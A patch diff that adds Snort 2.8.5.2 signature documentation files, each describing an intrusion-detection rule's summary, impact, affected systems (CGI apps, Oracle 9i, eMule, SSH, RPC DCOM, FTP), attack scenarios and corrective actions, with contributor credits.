+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/815.txt
+++ snort-2.8.5.2/doc/signatures/815.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+815
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/810.txt
+++ snort-2.8.5.2/doc/signatures/810.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+810
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2774.txt
+++ snort-2.8.5.2/doc/signatures/2774.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2774
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_number
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000401.txt
+++ snort-2.8.5.2/doc/signatures/100000401.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000401
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "faq.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "faq.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2584.txt
+++ snort-2.8.5.2/doc/signatures/2584.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1102
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the peer to peer (p2p) client eMule.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the p2p application eMule. The eMule client is prone to
+a buffer overflow condition which may present an attacker with the
+opportunity to execute code of their choosing on a vulnerable host.
+
+The issue surrounds the IRC module and the Web server portions of the
+client. Sufficient bounds checking of user supplied data is not
+correctly implemented causing the opportunity to overflow a buffer.
+
+--
+Affected Systems:
+	All systems using eMule.
+
+--
+Attack Scenarios:
+An attacker can supply overly long data in an IRC session between two
+clients to trigger the overflow.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2020.txt
+++ snort-2.8.5.2/doc/signatures/2020.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2020
+
+--
+Summary:
+The RPC service mountd enables clients to connect to networked file 
+dismounted via TCP.
+
+--
+Impact:
+Denial of network resources to users on the local area network.
+
+--
+Detailed Information:
+This may be an attempt to deny access to network resources from an 
+unauthorized source. It may also be indicative of an attacker probing 
+for RPC services on a host in an attempt to discover a possible entry 
+point to network resources via a vulnerable daemon.
+
+--
+Affected Systems:
+All systems allowing network shares to be unmounted by anonymous hosts, 
+all systems allowing RPC services to be stopped by ordinary users and 
+systems already compromised by an attacker via another vulnerability.
+
+--
+Attack Scenarios:
+This is an intelligence gathering activity, the attacker could remotely 
+unmount a shared resource to deny a resource to the local area network 
+or a probe to discover possible routes of entry into a system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+When allowing hosts to mount an external network share, consider using a
+hosts.allow file.
+
+Do not allow shares to be unmounted by unauthorized hosts or users.
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1571.txt
+++ snort-2.8.5.2/doc/signatures/1571.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1571
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000328.txt
+++ snort-2.8.5.2/doc/signatures/100000328.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000328
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ScozNet ScozNews" application running on a webserver. Access to the file "admin_templates.php" using a remote file being passed as the "main_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "main_path" parameter in the "admin_templates.php" script used by the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1111.txt
+++ snort-2.8.5.2/doc/signatures/1111.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1111
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1281.txt
+++ snort-2.8.5.2/doc/signatures/1281.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1281
+
+--
+Summary:
+This event is generated when an attempt is made dump entries from the portmapper on a Solaris host.
+
+--
+Impact:
+Information disclosure.  This request can discover what Remote Procedure Call (RPC) services are offered and on what ports they listen. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts.  It can be queried for all RPC services running, the RPC program name and version, the protocol (TCP or UDP), and the port where the service listens.  This can provide an attacker with valuable information about which RPC services are offered and on which ports.
+
+--
+Affected Systems:
+All hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover RPC services and their associated listening ports. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Original rule modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS429
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000736.txt
+++ snort-2.8.5.2/doc/signatures/100000736.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000736
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "MassDelTrackback.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "MassDelTrackback.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1848.txt
+++ snort-2.8.5.2/doc/signatures/1848.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1848
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2602.txt
+++ snort-2.8.5.2/doc/signatures/2602.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2602
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_master_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck87.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2710.txt
+++ snort-2.8.5.2/doc/signatures/2710.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2710
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_load
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1324.txt
+++ snort-2.8.5.2/doc/signatures/1324.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1324
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SSH daemon.
+
+--
+Impact:
+System compromize presenting the attacker with root privileges. Denial 
+of Service (DoS) on certain network devices.
+
+--
+Detailed Information:
+A flaw in the CRC32 compensation attack detection code may result in 
+arbitrary code execution with the privileges of the user running the SSH
+daemon (usually root).
+
+Some Netscreen devices may suffer a Denial of Service.
+
+Affected Systems:
+	OpenSSH versions prior to 2.2
+	Multiple Cisco network devices
+	Multiple Netscreen network devices
+	SSH Secure Communications prior to 1.2.31
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted large SSH packets to 
+cause the overflow and present the opportunity to write values to memory
+locations.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/945216
+
+Analysis by David Dittrich:
+http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1274.txt
+++ snort-2.8.5.2/doc/signatures/1274.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1274
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap
+GETPORT request to discover the port where the Remote Procedure Call
+(RPC) ttdbserverd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port
+ttdbserverd is using. Attackers can also learn what versions of the
+ttdbserverd protocol are accepted by ttdbserverd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can
+be queried to determine the port where RPC services such as ttdbserverd
+run. The ttdbserverd RPC service, more commonly known as the ToolTalk
+database server, allows applications used in Common Desktop Environment
+(CDE) to communicate. The ToolTalk service receives ToolTalk messages
+created and sent by applications and delivers them to the appropriate
+recipient applications. The ToolTalk database server comes enabled on
+hosts with CDE. Multiple vulernabilities have been associated with the
+ToolTalk database server. 
+
+--
+Affected Systems:
+	All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where
+ttdbserverd runs. This may be a precursor to accessing ttdbserverd.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ttdbserverd, this rule
+may generate an event.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ttdbserverd, not
+probes of the ttdbserverd service itself. Because RPC services often
+listen on fairly arbitrary ports, it may not be possible to detect
+misuses of the ttdbserverd service itself. An attacker may attempt to go
+directly to the ttdbserverd port without querying the portmapper
+service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/548.txt
+++ snort-2.8.5.2/doc/signatures/548.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 
+547
+
+--
+Summary: 
+This event is generated when an attempt is made to create a directory name that begins with a period on an FTP server.
+
+--
+Impact: 
+Unauthorized file storage.  An attacker may attempt to create a directory name that begins with a period on an FTP server, possibly in preparation to store unauthorized files.
+
+
+--
+Detailed Information: 
+An attacker may attempt to create a hidden directory name that begins with a period on an FTP server .  This hidden directory is hard to discover, permitting attackers to store unauthorized "warez" files, such as unlicensed or pirated software.
+
+--
+Affected Systems: 
+FTP servers
+
+--
+Attack Scenarios: 
+An attacker may attempt to create a hidden directory name that begins with a period to store unauthorized files.
+
+--
+Ease of Attack: 
+Simple
+
+--
+False Positives:
+It is remotely possible that an authorized directory exists with a name that begins with a period.
+
+--
+False Negatives: 
+Hidden directories other than those with a name that begins with a period may be created to store "warez" files.
+
+--
+Corrective Action: 
+Assign restrictive permissions to all directories so unauthorized users cannot navigate or write to them.
+
+Regularly monitor directories for sudden or drastic increased use of space.
+
+--
+Contributors: 
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1920.txt
+++ snort-2.8.5.2/doc/signatures/1920.txt
@@ -0,0 +1,57 @@
+Nigel:  Old reference pointed to something totally unrelated.
+Rule:
+--
+
+Sid:
+1920
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability associated with the FTP SITE NEWER command that may cause a denial of service or allow the upload of executable files.
+
+--
+Impact:
+Remote access or denial of service.  A successful attack can cause a denial of service or allow the upload of executable files on the vulnerable FTP server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability associated with the WU-FTP server version of the SITE NEWER command. It is possible to cause a denial of service attack that consumes memory or upload files to execute arbitrary commands with the privileges of the process running the FTP server. 
+
+--
+Affected Systems:
+Hosts running WU-FTPD 2.5.0.  
+
+--
+Attack Scenarios:
+An attacker can cause a denial of service or upload files to execute arbitrary commands on the vulnerable FTP server.
+
+--
+Ease of Attack:
+Difficult.  No known exploits available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/737
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3435.txt
+++ snort-2.8.5.2/doc/signatures/3435.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3435
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
